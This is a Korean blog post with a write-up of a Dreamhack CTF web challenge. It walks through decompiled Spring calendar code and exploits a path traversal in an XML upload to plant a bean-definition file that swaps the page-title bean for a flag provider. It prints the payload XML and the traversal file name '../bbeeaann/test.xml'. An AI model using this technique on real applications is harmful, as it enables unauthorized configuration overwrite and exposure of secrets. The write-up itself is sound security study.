개발 블로그

[DreamHeck] 콩 심기🌱 본문

Study/Web Hacking

[DreamHeck] 콩 심기🌱

얀 짱 2026. 9. 16. 22:13

https://dreamhack.io/wargame/challenges/3103

 

로그인 | Dreamhack

 

dreamhack.io

 

도커 컴포즈 파일을 열면 다음과 같다.

services:
  calendar:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "8080:8080"
    environment:
      FLAG: "${FLAG:-DH{fake_flag}}"
    restart: unless-stopped

 

해당 파일에서 environment 환경변수 부분에 플래그가 있는 것을 확인함.

근데 이 부분을 어떻게 접근할 지 모르겠어서 일단 나머지 코드들을 확인했음.


 

먼저 플래그가 있을 법한 클래스를 확인함. 플래그는 TitleProvider 인터페이스를 호출하면 반환함.

둘은 상속관계 

 

 

할 일을 저장하면 다음과 같이 파일 업로드가 나옴. -> 파일 업로드 취약점 일 것 같음 

 

음 그냥 일단 이미지 아무거나 업로드 해봤는데 확장자 필터링이 되어 있는 것 같음.

-> XML 밖에 안되는듯??? 

 

package com.dream.calendar.controller;

import com.dream.calendar.service.CalendarModelFactory;
import com.dream.calendar.service.ScheduleService;
import com.dream.calendar.util.TitleProvider;
import java.time.LocalDate;
import java.time.YearMonth;
import java.time.format.DateTimeParseException;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;

/* JADX INFO: loaded from: MainController.class */
@Controller
public class MainController {
    private final ScheduleService scheduleService;
    private final CalendarModelFactory calendarModelFactory;
    private final BeanFactory componentRegistry;

    public MainController(ScheduleService scheduleService, CalendarModelFactory calendarModelFactory, BeanFactory componentRegistry) {
        this.scheduleService = scheduleService;
        this.calendarModelFactory = calendarModelFactory;
        this.componentRegistry = componentRegistry;
    }

    @GetMapping({"/"})
    public String index(@RequestParam(required = false) String month, Model model) {
        YearMonth selectedMonth = parseMonth(month);
        model.addAllAttributes(this.calendarModelFactory.create(selectedMonth));
        TitleProvider titleProvider = (TitleProvider) this.componentRegistry.getBean("headerFormatter", TitleProvider.class);
        model.addAttribute("pageHeading", titleProvider.getText(selectedMonth));
        return "index";
    }

    @PostMapping({"/schedules"})
    public String saveSchedule(@RequestParam LocalDate date, @RequestParam String content, RedirectAttributes redirectAttributes) {
        try {
            this.scheduleService.save(date, content);
            redirectAttributes.addFlashAttribute("message", "일정이 저장되었습니다.");
        } catch (IllegalArgumentException exception) {
            redirectAttributes.addFlashAttribute("error", exception.getMessage());
        }
        return "redirect:/?month=" + String.valueOf(YearMonth.from(date));
    }

    @PostMapping({"/schedules/delete"})
    public String deleteSchedule(@RequestParam LocalDate date, RedirectAttributes redirectAttributes) {
        this.scheduleService.delete(date);
        redirectAttributes.addFlashAttribute("message", "일정이 삭제되었습니다.");
        return "redirect:/?month=" + String.valueOf(YearMonth.from(date));
    }

    @PostMapping({"/schedules/upload"})
    public String uploadScheduleXml(@RequestParam("scheduleXml") MultipartFile scheduleXml, RedirectAttributes redirectAttributes) {
        try {
            String savedPath = this.scheduleService.uploadXml(scheduleXml.getOriginalFilename(), scheduleXml.getBytes());
            redirectAttributes.addFlashAttribute("message", "XML 업로드 완료: " + savedPath);
            return "redirect:/";
        } catch (IllegalArgumentException exception) {
            redirectAttributes.addFlashAttribute("error", exception.getMessage());
            return "redirect:/";
        } catch (Exception e) {
            redirectAttributes.addFlashAttribute("error", "XML 파일을 저장하지 못했습니다.");
            return "redirect:/";
        }
    }

    private YearMonth parseMonth(String month) {
        if (month == null || month.isBlank()) {
            return YearMonth.now();
        }
        try {
            return YearMonth.parse(month);
        } catch (DateTimeParseException e) {
            return YearMonth.now();
        }
    }
}

 

자바가 너무 오랜만이야ㅜ 이건 MainController인데 여기서  /schedules/upload 부분을 보면 될듯. 

 

음! 일단 여기까지를 정리해보자면! xml 업로드 부분이 취약 진입점인 것 같음.

 

마저 MainController를 톺아보자.

TitleProvider titleProvider = (TitleProvider) this.componentRegistry.getBean("headerFormatter", TitleProvider.class);
model.addAttribute("pageHeading", titleProvider.getText(selectedMonth));

 

이 부분을 좀 해석해보면 headerFormatter로 Spring 빈을 동적 조회하여 pageHeading에 랜더링 하는 구조임.

(사실 자바 코드가 너무 오랜만이라 이 MainController는 AI에게 코드 해석을 부탁했음) 

 

https://dev-wnstjd.tistory.com/440

 

🟢 [Spring] 스프링 빈(Bean) 이란?

📌 스프링 빈(Bean) 이란? 빈(Bean)은 스프링 컨테이너에 의해 관리되는 재사용 가능한 소프트웨어 컴포넌트이다. 즉, 스프링 컨테이너가 관리하는 자바 객체를 뜻하며, 하나 이상의 빈(Bean)을 관리

dev-wnstjd.tistory.com

https://blu-blu.tistory.com/109

 

[Spring] 스프링 빈(Bean)이란? 초보 개발자를 위한 쉬운 설명 🍃

Bean은 콩입니다.   ⭐ 빈(Bean)의 유래빈이라고 작명한 이유를 알려면, 자바로 작명한 이유부터 알아야 합니다.자바로 작명한 이유는, 자주 마시는 커피가 인도네시아 자바 섬 커피였기 때문입

blu-blu.tistory.com

 

 

음! 취약점이 될 수 있나? 해서 더 찾아봄.

 

...

 

보통 Spring에서 빈을 쓸 땐 @Autowired로 타입 기반 주입을 하며 위처럼 문자열 이름("headerFormatter")으로 BeanFactory.getBean()을 직접 호출하는 건 드물다고 함. 이 부분에서 이 빈 이름으로 다른 것과 바꿔치기 하면 어떨까 하는 부분까지 확장할 수 있었음.

 

앞에서 FlagProvider를 확인했잔슴, 여기서 headerFormatter 대신에 FlagProvider를 반환하게 하면 되지 않을까? 페이지 제목 자리에 플래그 랜더링....... 

package com.dream.calendar.service;

import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.file.AtomicMoveNotSupportedException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.OpenOption;
import java.nio.file.Path;
import java.nio.file.StandardCopyOption;
import java.nio.file.attribute.FileAttribute;
import java.time.LocalDate;
import java.util.Comparator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.stream.XMLOutputFactory;
import javax.xml.stream.XMLStreamWriter;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;

/* JADX INFO: loaded from: ScheduleService.class */
public class ScheduleService {
    private final Map<LocalDate, String> schedules;
    private final Path storageFile;

    public ScheduleService() {
        this(Path.of("src", "main", "resources", "upload_sch", "schedules.xml"));
    }

    public ScheduleService(Path storageFile) {
        this.schedules = new ConcurrentHashMap();
        this.storageFile = storageFile.toAbsolutePath().normalize();
        load();
    }

    public synchronized String uploadXml(String originalFilename, byte[] xml) {
        if (originalFilename == null || originalFilename.isBlank() || !originalFilename.toLowerCase().endsWith(".xml")) {
            throw new IllegalArgumentException(".xml 파일만 업로드할 수 있습니다.");
        }
        if (xml == null || xml.length == 0) {
            throw new IllegalArgumentException("업로드할 XML 파일이 비어 있습니다.");
        }
        try {
            Path uploadDirectory = this.storageFile.getParent();
            Files.createDirectories(uploadDirectory, new FileAttribute[0]);
            Path destination = uploadDirectory.resolve(Path.of(originalFilename, new String[0])).normalize();
            Files.createDirectories(destination.getParent(), new FileAttribute[0]);
            Files.write(destination, xml, new OpenOption[0]);
            return destination.toString().replace('\\', '/');
        } catch (Exception exception) {
            throw new IllegalStateException("XML 파일을 저장하지 못했습니다.", exception);
        }
    }

    public void save(LocalDate date, String content) {
        if (date == null) {
            throw new IllegalArgumentException("날짜를 선택해 주세요.");
        }
        String normalizedContent = content == null ? "" : content.trim();
        if (normalizedContent.isEmpty()) {
            throw new IllegalArgumentException("할 일을 입력해 주세요.");
        }
        if (normalizedContent.length() > 100) {
            throw new IllegalArgumentException("할 일은 100자 이내로 입력해 주세요.");
        }
        this.schedules.put(date, normalizedContent);
        persist();
    }

    public String find(LocalDate date) {
        return this.schedules.get(date);
    }

    public void delete(LocalDate date) {
        if (date != null) {
            this.schedules.remove(date);
            persist();
        }
    }

    public synchronized int importXml(byte[] xml) {
        if (xml == null || xml.length == 0) {
            throw new IllegalArgumentException("업로드할 XML이 비어 있습니다.");
        }
        try {
            InputStream input = new ByteArrayInputStream(xml);
            try {
                Map<LocalDate, String> importedSchedules = parseSchedules(input);
                this.schedules.clear();
                this.schedules.putAll(importedSchedules);
                persist();
                int size = importedSchedules.size();
                input.close();
                return size;
            } catch (Throwable th) {
                try {
                    input.close();
                } catch (Throwable th2) {
                    th.addSuppressed(th2);
                }
                throw th;
            }
        } catch (IllegalArgumentException exception) {
            throw exception;
        } catch (Exception e) {
            throw new IllegalArgumentException("XML을 가져오지 못했습니다.");
        }
    }

    private void load() {
        if (!Files.exists(this.storageFile, new LinkOption[0])) {
            return;
        }
        try {
            InputStream input = Files.newInputStream(this.storageFile, new OpenOption[0]);
            try {
                this.schedules.putAll(parseSchedules(input));
                if (input != null) {
                    input.close();
                }
            } catch (Throwable th) {
                if (input != null) {
                    try {
                        input.close();
                    } catch (Throwable th2) {
                        th.addSuppressed(th2);
                    }
                }
                throw th;
            }
        } catch (Exception e) {
            throw new IllegalStateException("schedules.xml을 읽지 못했습니다.");
        }
    }

    private Map<LocalDate, String> parseSchedules(InputStream input) throws Exception {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalDTD", "");
        factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
        factory.setXIncludeAware(false);
        factory.setExpandEntityReferences(false);
        Document document = factory.newDocumentBuilder().parse(input);
        if (!"schedules".equals(document.getDocumentElement().getTagName())) {
            throw new IllegalArgumentException("최상위 태그는 <schedules>여야 합니다.");
        }
        Map<LocalDate, String> parsed = new LinkedHashMap<>();
        NodeList scheduleNodes = document.getElementsByTagName("schedule");
        for (int index = 0; index < scheduleNodes.getLength(); index++) {
            Element schedule = (Element) scheduleNodes.item(index);
            LocalDate date = LocalDate.parse(schedule.getAttribute("date"));
            String content = schedule.getTextContent().trim();
            if (content.isEmpty() || content.length() > 100) {
                throw new IllegalArgumentException("각 일정 내용은 1자 이상 100자 이하여야 합니다.");
            }
            parsed.put(date, content);
        }
        return parsed;
    }

    private synchronized void persist() {
        try {
            try {
                Path storageDirectory = this.storageFile.getParent();
                Files.createDirectories(storageDirectory, new FileAttribute[0]);
                Path temporaryFile = Files.createTempFile(storageDirectory, "schedules-", ".tmp", new FileAttribute[0]);
                XMLOutputFactory outputFactory = XMLOutputFactory.newFactory();
                OutputStream output = Files.newOutputStream(temporaryFile, new OpenOption[0]);
                try {
                    XMLStreamWriter writer = outputFactory.createXMLStreamWriter(output, "UTF-8");
                    writer.writeStartDocument("UTF-8", "1.0");
                    writer.writeCharacters(System.lineSeparator());
                    writer.writeStartElement("schedules");
                    this.schedules.entrySet().stream().sorted(Map.Entry.comparingByKey(Comparator.naturalOrder())).forEach(entry -> {
                        writeSchedule(writer, (LocalDate) entry.getKey(), (String) entry.getValue());
                    });
                    writer.writeCharacters(System.lineSeparator());
                    writer.writeEndElement();
                    writer.writeCharacters(System.lineSeparator());
                    writer.writeEndDocument();
                    writer.close();
                    if (output != null) {
                        output.close();
                    }
                    try {
                        Files.move(temporaryFile, this.storageFile, StandardCopyOption.REPLACE_EXISTING, StandardCopyOption.ATOMIC_MOVE);
                    } catch (AtomicMoveNotSupportedException e) {
                        Files.move(temporaryFile, this.storageFile, StandardCopyOption.REPLACE_EXISTING);
                    }
                    if (temporaryFile != null) {
                        try {
                            Files.deleteIfExists(temporaryFile);
                        } catch (Exception e2) {
                        }
                    }
                } catch (Throwable th) {
                    if (output != null) {
                        try {
                            output.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                    }
                    throw th;
                }
            } catch (Exception e3) {
                throw new IllegalStateException("일정을 XML 파일에 저장하지 못했습니다.");
            }
        } catch (Throwable th3) {
            if (0 != 0) {
                try {
                    Files.deleteIfExists(null);
                } catch (Exception e4) {
                }
            }
            throw th3;
        }
    }

    private void writeSchedule(XMLStreamWriter writer, LocalDate date, String content) {
        try {
            writer.writeCharacters(System.lineSeparator() + "    ");
            writer.writeStartElement("schedule");
            writer.writeAttribute("date", date.toString());
            writer.writeCharacters(content);
            writer.writeEndElement();
        } catch (Exception e) {
            throw new IllegalStateException("일정 XML을 생성하지 못했습니다.");
        }
    }
}

 

이건 ScheduleService

여기서 uploadXml 관련 메서드가 있길래 이걸 확인하겠음.

파일명 검증이 어디에도 없는 것을 보아 path traversal이 먹히지 않을까 하는 생각.

 

일단의 목표

1. headerFormatter를 FlagProvider로 변경

2. upload할 때 path traversal로?

 

파일 안에 보니 calander.xml 파일이 있길래 열어봄

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:task="http://www.springframework.org/schema/task"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans https://www.springframework.org/schema/beans/spring-beans.xsd
                           http://www.springframework.org/schema/task https://www.springframework.org/schema/task/spring-task.xsd">

    <bean id="scheduleService" class="com.dream.calendar.service.ScheduleService"/>

    <bean id="calendarModelFactory" class="com.dream.calendar.service.CalendarModelFactory">
        <constructor-arg ref="scheduleService"/>
    </bean>

    <bean id="headerFormatter" class="com.dream.calendar.util.MonthlyTitleProvider"/>

    <task:scheduler id="xmlDirectoryScheduler" pool-size="1"/>
    <task:scheduled-tasks scheduler="xmlDirectoryScheduler">
        <task:scheduled ref="xmlService" method="syncDirectory" fixed-delay="5000"/>		# xmlService가 5초마다 syncDirectory 실행
    </task:scheduled-tasks>
</beans>
package com.dream.calendar.service;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.attribute.FileAttribute;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.HexFormat;
import java.util.LinkedHashMap;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Set;
import java.util.stream.Stream;
import javax.xml.parsers.DocumentBuilderFactory;
import org.springframework.beans.BeansException;
import org.springframework.beans.factory.config.BeanDefinition;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.xml.XmlBeanDefinitionReader;
import org.springframework.core.io.ByteArrayResource;

/* JADX INFO: loaded from: XMLService.class */
public class XMLService {
    private final DefaultListableBeanFactory registry;
    private final Path watchDirectory;
    private final Map<String, BeanDefinition> originalDefinitions = new LinkedHashMap();
    private Set<String> managedComponents = Set.of();
    private String appliedFingerprint = "";

    public XMLService(DefaultListableBeanFactory registry, String watchDirectory) {
        this.registry = registry;
        this.watchDirectory = Path.of(watchDirectory, new String[0]).toAbsolutePath().normalize();
    }

    public synchronized void syncDirectory() {
        try {
            Files.createDirectories(this.watchDirectory, new FileAttribute[0]);
            Stream<Path> files = Files.list(this.watchDirectory);
            try {
                List<Path> xmlFiles = files.filter(x$0 -> {
                    return Files.isRegularFile(x$0, new LinkOption[0]);
                }).filter(path -> {
                    return path.getFileName().toString().toLowerCase(Locale.ROOT).endsWith(".xml");
                }).filter(path2 -> {
                    return !path2.getFileName().toString().equalsIgnoreCase("calendar.xml");
                }).sorted().toList();
                if (files != null) {
                    files.close();
                }
                String fingerprint = fingerprint(xmlFiles);
                if (fingerprint.equals(this.appliedFingerprint)) {
                    return;
                }
                Map<String, BeanDefinition> desiredDefinitions = new LinkedHashMap<>();
                for (Path xmlFile : xmlFiles) {
                    byte[] xml = Files.readAllBytes(xmlFile);
                    DefaultListableBeanFactory parsed = readAndValidate(xml, xmlFile.getFileName().toString());
                    for (String componentName : parsed.getBeanDefinitionNames()) {
                        desiredDefinitions.put(componentName, parsed.getBeanDefinition(componentName));
                    }
                }
                applyDefinitions(desiredDefinitions);
                this.appliedFingerprint = fingerprint;
            } catch (Throwable th) {
                if (files != null) {
                    try {
                        files.close();
                    } catch (Throwable th2) {
                        th.addSuppressed(th2);
                    }
                }
                throw th;
            }
        } catch (IOException e) {
            throw new IllegalStateException("폴더를 읽지 못했습니다.");
        }
    }

    private void applyDefinitions(Map<String, BeanDefinition> desiredDefinitions) {
        for (String previousName : this.managedComponents) {
            if (!desiredDefinitions.containsKey(previousName)) {
                if (this.registry.containsBeanDefinition(previousName)) {
                    this.registry.removeBeanDefinition(previousName);
                }
                BeanDefinition original = this.originalDefinitions.remove(previousName);
                if (original != null) {
                    this.registry.registerBeanDefinition(previousName, original);
                }
            }
        }
        for (Map.Entry<String, BeanDefinition> entry : desiredDefinitions.entrySet()) {
            String componentName = entry.getKey();
            if (!this.managedComponents.contains(componentName) && this.registry.containsBeanDefinition(componentName)) {
                this.originalDefinitions.put(componentName, this.registry.getBeanDefinition(componentName));
            }
            if (this.registry.containsBeanDefinition(componentName)) {
                this.registry.removeBeanDefinition(componentName);
            }
            this.registry.registerBeanDefinition(componentName, entry.getValue());
        }
        this.managedComponents = new LinkedHashSet(desiredDefinitions.keySet());
    }

    private String fingerprint(List<Path> xmlFiles) throws IOException {
        try {
            MessageDigest digest = MessageDigest.getInstance("SHA-256");
            for (Path xmlFile : xmlFiles) {
                digest.update(xmlFile.getFileName().toString().getBytes());
                digest.update(Files.readAllBytes(xmlFile));
            }
            return HexFormat.of().formatHex(digest.digest());
        } catch (NoSuchAlgorithmException exception) {
            throw new IllegalStateException("SHA-256을 사용할 수 없습니다.", exception);
        }
    }

    private DefaultListableBeanFactory readAndValidate(byte[] xml, String originalFilename) {
        rejectEntityDeclarations(xml);
        DefaultListableBeanFactory stagingRegistry = new DefaultListableBeanFactory();
        stagingRegistry.setBeanClassLoader(this.registry.getBeanClassLoader());
        XmlBeanDefinitionReader reader = new XmlBeanDefinitionReader(stagingRegistry);
        try {
            int count = reader.loadBeanDefinitions(new ByteArrayResource(xml, originalFilename));
            if (count == 0) {
                throw new IllegalArgumentException("XML 안에 적용할 설정이 없습니다.");
            }
            return stagingRegistry;
        } catch (BeansException e) {
            throw new IllegalArgumentException("XML 설정 형식이 올바르지 않습니다: ");
        }
    }

    private void rejectEntityDeclarations(byte[] xml) {
        try {
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            factory.setNamespaceAware(true);
            factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
            factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
            factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalDTD", "");
            factory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
            factory.setXIncludeAware(false);
            factory.setExpandEntityReferences(false);
            factory.newDocumentBuilder().parse(new ByteArrayInputStream(xml));
        } catch (Exception e) {
            throw new IllegalArgumentException("DOCTYPE 및 ENTITY 선언은 사용할 수 없습니다.");
        }
    }
}

 

이게 xmlService

 

1. uploadXml에서 확인한 취약점인 Path Traversal 사용

2. xmlService가 스캔하는 디렉토리에 headerFormatter를 FlagProvider로 재정의하는 XML 파일을 업로드함
3. xmlService.syncDirectory()가 5초마다 돌면서 이 파일을 읽어 headerFormatter 빈을 FlagProvider로 덮어씀
4. 메인 페이지 재접속 시 FLAG 환경변수 노출

 

이렇게 해보는 걸로..

 

공격 페이로드는 calander.xml 유사하게 적어주면 됨.

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       https://www.springframework.org/schema/beans/spring-beans.xsd">

    <bean id="headerFormatter" class="com.dream.calendar.util.FlagProvider"/>

</beans>

 

이런 식으로.. 나는 사실 클로드한테 부탁했음 ㅠ

 

근데 아무데나 업로드 하면 안되고,, 

package com.dream.calendar;

import com.dream.calendar.service.XMLService;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.support.RootBeanDefinition;
import org.springframework.beans.factory.xml.XmlBeanDefinitionReader;
import org.springframework.context.ApplicationContextInitializer;
import org.springframework.context.ConfigurableApplicationContext;

/* JADX INFO: loaded from: CalendarApplication$CalendarConfigInitializer.class */
public class CalendarApplication$CalendarConfigInitializer implements ApplicationContextInitializer<ConfigurableApplicationContext> {
    public void initialize(ConfigurableApplicationContext applicationContext) {
        DefaultListableBeanFactory registryFactory = applicationContext.getBeanFactory();
        XmlBeanDefinitionReader xmlReader = new XmlBeanDefinitionReader(registryFactory);
        xmlReader.loadBeanDefinitions("classpath:/bbeeaann/calendar.xml");
        RootBeanDefinition importServiceDefinition = new RootBeanDefinition(XMLService.class);
        importServiceDefinition.getConstructorArgumentValues().addIndexedArgumentValue(0, registryFactory);
        importServiceDefinition.getConstructorArgumentValues().addIndexedArgumentValue(1, "src/main/resources/bbeeaann");
        registryFactory.registerBeanDefinition("xmlService", importServiceDefinition);
    }
}
importServiceDefinition.getConstructorArgumentValues().addIndexedArgumentValue(1, "src/main/resources/bbeeaann");

 

ScheduleService의 XML 저장 위치는 src/main/resources/bbeeaann 여기임. 근데 업로드 하면 무조건

 

이 경로로 업로드됨 ㅠ

uploadXml()은 ScheduleService의 storageFile.getParent() 기준(upload_sch)에만 저장하도록 고정되어 있음.

아!!!!! 여기서 path traversal 해서 가면 된다. bbeeaann과 upload_sch는 같은 선상에 있으므로 

../bbeeaann/test.xml

 

이렇게!

 

파일명을 이렇게 수정해서 다시해보자.

이때는 버퍼 스위트를 이용함.

 

드디어 플래그ㅠ

'Study > Web Hacking' 카테고리의 다른 글

[DreamHeck] YAML Deserialization  (0) 2026.09.17
[DreamHeck] Grand Theft Auto  (0) 2026.09.17
[DreamHeck] Broken Buffalo Wings  (0) 2026.09.16
[DreamHeck] php7cmp4re  (0) 2026.09.16
[DreamHeck] web-misconf-1  (0) 2026.09.15